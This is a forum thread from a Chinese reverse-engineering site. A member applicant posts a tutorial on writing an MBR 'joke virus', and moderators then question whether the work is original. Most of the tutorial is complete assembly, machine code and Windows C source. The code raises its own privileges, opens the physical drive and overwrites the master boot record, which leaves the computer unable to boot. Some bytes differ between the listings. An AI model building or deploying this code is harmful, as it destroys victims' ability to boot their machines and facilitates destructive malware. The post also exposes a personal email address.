吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1759|回复: 3
收起左侧

[会员申请] 申请会员ID:HenYu

[复制链接]
吾爱游客  发表于 2023-4-9 13:19

[md]1、申 请 I D:HenYu
2、个人邮箱:H20090808@outlook.com
3、原创技术文章

MBR修改

  • MBR是什么

    MBR是主引导记录(Master Boot Record)的英文缩写,在传统硬盘分区模式中,引导扇区是每个分区(Partition)的第一扇区,而主引导扇区是硬盘的第一扇区。简而言之,就是先于操作系统拿到控制权。

    为了方便计算机访问硬盘,把硬盘上的空间划分成许许多多的区块(英文叫sectors,即扇区),然后给每个区块分配一个地址,称为逻辑块地址(即LBA)。

    在MBR中,分区表的大小是固定的,一共可容纳4个主分区信息。在MBR分区表中逻辑块地址采用32位二进制数表示,因此一共可表示2^32(2的32次方)个逻辑块地址。如果一个扇区大小为512字节,那么MBR硬盘最大分区容量仅为2TB

    所以我们可以通过修改MBR实现一些特殊的功能,例如MBR病毒

  • MBR修改过程及实践

    功能描述:

    该实践样本就只是一个简单的玩笑病毒,主要是让你不能开机,只在屏幕显示一串字符串。

    病毒原理:

    • 准备好将要写入的MBR
    • 提升程序权限   调用CreateFile函数去打开物理驱动器的时候,必须具备调试权限,否则就会打开失败,打开失败我们就不能对MBR进行读取了
    • 打开"\\.\PHYSICALDRIVE0"文件  \\.\PHYSICALDRIVE0"文件表示本机的物理驱动器0(一般是主硬盘),也就是我们的MBR。
    • 写入MBR
      成功写入MBR,我们也就拿到了先于系统的控制权了,就可以做很多事情了,但是这里我们只是在teletype模式下显示一串字符串。

      汇编源码

      下面是完整的汇编源码:

      
      assume cs:code 
      code segment
      start:
      mov ax,12h           ;使用12号功能,对显示器进行设置    
      int 10h

    ;显示器的设置
    mov bp, 7C18H        ;字符串的起始偏移,为啥是7c18呢?代码得长度干好18H,哈哈
    mov cx, 13h          ;字符串长度
    mov ax,1301h         ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01H
    mov bx,0Ch           ;BH = 00H BL = 0CH
    mov dx,0h
    int 10h

    jmp $       ;无线循环,防止代码进入数据区

    code ends
    end start

    **下面是对汇编代码的剖析:**
    + 对显示器进行设置:
    int 10h中断是BIOS对系统屏幕显示器所提供的服务程序。我们可以调用int 10h中断来控制显示器的显示。使用INT 10H中断的时候,都先必须指定AH的值,AH的值是用来指定INT 10H将要调用的功能号。
    ```assembly
    mov ax,12h           ;使用12号功能,对显示器进行设置    
    int 10h              ;调用int 10h中断
    • 指定显示字符串:
      mov bp, 7C18H        ;字符串的起始偏移,为啥是7c18呢?代码得长度刚好18H,哈哈
      mov cx, 13h          ;字符串长度
    • 对字符串显示进行设置
      mov ax,1301h         ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01H
      mov bx,0Ch           ;BH = 00H BL = 0CH
      mov dx,0h            ;起始的行列

    INT 10H中断的13号功能

    功能描述:在Teletype模式下显示字符串
    入口参数:AH=13H
    BH=页码
    BL=属性,文字模式或颜色 (若AL=00H或 01H)
    CX=显示字符串长度
    (DH、DL)=坐标(行、列)
    ES:BP=显示字符串的地址 AL=显示输出方式
    0—— 字符串中只含显示字符,其显示属性在BL中。显示后,光标位置不变
    1——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置改变
    2——字符串中含显示字符和显示属性。显示后,光标位置不变
    3——字符串中含显示字符和显示属性。显示后,光标位置改变
    出口参数:无

    获取汇编的机器码

    上为什么要获取上面代码的机器码呢?因为我们的代码都是被编译器解释为机器码来执行的,这里我们面是汇编代码,所以需要编译链接之后可以将机器码拷贝出来。
    编译连接:

  • 用到的工具
    MASM5.0

  • 用到的指令
    将上面的解压后放到你觉得合适的地方,这里我是放在的C盘。这里编译是用到masm5.0里面的masm.exe程序。下面就对我们的代码进行编译。生成的*.obj文件存放在masm.exe程序的同位置,如果你想改变生成的位置,你可以在cmd显示Object filename [4.obj]的时候指定一个路径。
    C:\masm>masm C:\Users\user\Desktop\4.asm

    编译成功后就是连接了,连接我们要用到的就是masm5.0里面的link.exe程序。

    好了,程序连接成功,下面就是提取里面的机器码了。这里我用的是C32Asm,当然你也可以用WinHex

    圈出来的部分就是我们的代码,下面是提取出来的。
    B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 EB FE
    我们把我们想要显示的字符串添加到后面去。
    B8 12 00 CD 10 BD 18 7C B9 13 00 B8 01 13 BB 0C 00 BA 00 00 CD 10 EB FE 42 79 20 48 65 6E 59 75

    主代码

    MBR准备好了。那么就来写主程序吧。主程序就两个函数,一个用来提权,一个用来写MBR。

    #include "stdafx.h"
    #include <Windows.h>
    #include <TlHelp32.h>
    
    char temp[512]={    0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x42,0x79,0x20,0x48,0x65,0x6E,0x59,0x75};
    //自己写一个函数来提权。
    void GetPrivileges()
    {
    //定义一个PLUID
    HANDLE hProcess;
    HANDLE hTokenHandle;
    TOKEN_PRIVILEGES tp; 
    //获取当前进程的句柄
    hProcess = GetCurrentProcess();
    //
    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
    //函数查看系统权限的特权值,返回信息到一个LUID结构体里。
    tp.PrivilegeCount =1; 
    LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid); 
    tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED; 
    AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL); 
    CloseHandle(hTokenHandle);
    CloseHandle(hProcess);
    
    }
    
    //下面的函数来读取"\\\\.\\PHYSICALDRIVE0"
    void ReadPHYSICALDRIVE0()
    {
    HANDLE hFile;
    DWORD dwReadSize;
    // char lpBuffer[512];
    //使用createFile打开这个文件
    char str_Name[] = "\\\\.\\PHYSICALDRIVE0";
    hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
    if (hFile == INVALID_HANDLE_VALUE)
    {
    MessageBox(0, "wrong", "wrong", 0);
    
    }
    BYTE pMBR[512] ={0};               ;MBR为512个字节
    memcpy(pMBR,temp,sizeof(temp)-1);
    pMBR[510] =0x55;                   ;最后的标记位
    pMBR[511] = 0xAA;
    //用readfile来读取文件
    WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
    }
    int _tmain(int argc, _TCHAR* argv[])
    {GetPrivileges();
    ReadPHYSICALDRIVE0();
    return 0;
    

    总结

    运行我们编译好的主程序,然后重启就会发现我们的电脑无法正常启动了,并且在屏幕上会出现一串字符——“By HenYu”。如下图到这里一个简单的改写MBR的程序就写好了。

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2023-4-10 10:57
https://www.cnblogs.com/xiongwei/p/9549743.html


这文章是你原创的吗?
吾爱游客  发表于 2023-4-12 21:53
这篇文章是我发在CSDN上的一篇文章

点评

提供一下原帖地址,并用csdn的账号发一个说明这个申请账号贴子是你发布的。  详情 回复 发表于 2023-4-13 17:04
Hmily 发表于 2023-4-13 17:04
游客 112.9.7.x 发表于 2023-4-12 21:53
这篇文章是我发在CSDN上的一篇文章

提供一下原帖地址,并用csdn的账号发一个说明这个申请账号贴子是你发布的。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-24 04:38

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表